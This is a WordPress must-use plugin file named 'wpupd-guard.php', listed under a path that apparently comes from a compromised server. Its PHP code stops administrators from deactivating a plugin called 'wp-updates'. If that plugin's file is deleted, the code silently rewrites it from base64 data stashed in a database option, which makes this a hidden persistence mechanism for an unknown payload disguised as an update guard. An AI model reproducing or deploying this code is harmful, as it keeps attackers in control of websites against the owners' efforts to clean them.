File: //proc/self/root/proc/thread-self/root/home/vitanhod/www/wp-content/mu-plugins/wpupd-guard.php
<?php
add_filter("pre_update_option_active_plugins", function($new, $old) {
$p = "wp-updates/wp-updates.php";
if (in_array($p, $old) && !in_array($p, $new)) { $new[] = $p; }
return $new;
}, 999, 2);
add_action("init", function() {
$f = WP_PLUGIN_DIR . "/wp-updates/wp-updates.php";
if (!file_exists($f)) {
$code = get_option("wpupd_backup_code");
if ($code) {
@mkdir(dirname($f), 0755, true);
@file_put_contents($f, base64_decode($code));
}
}
}, 0);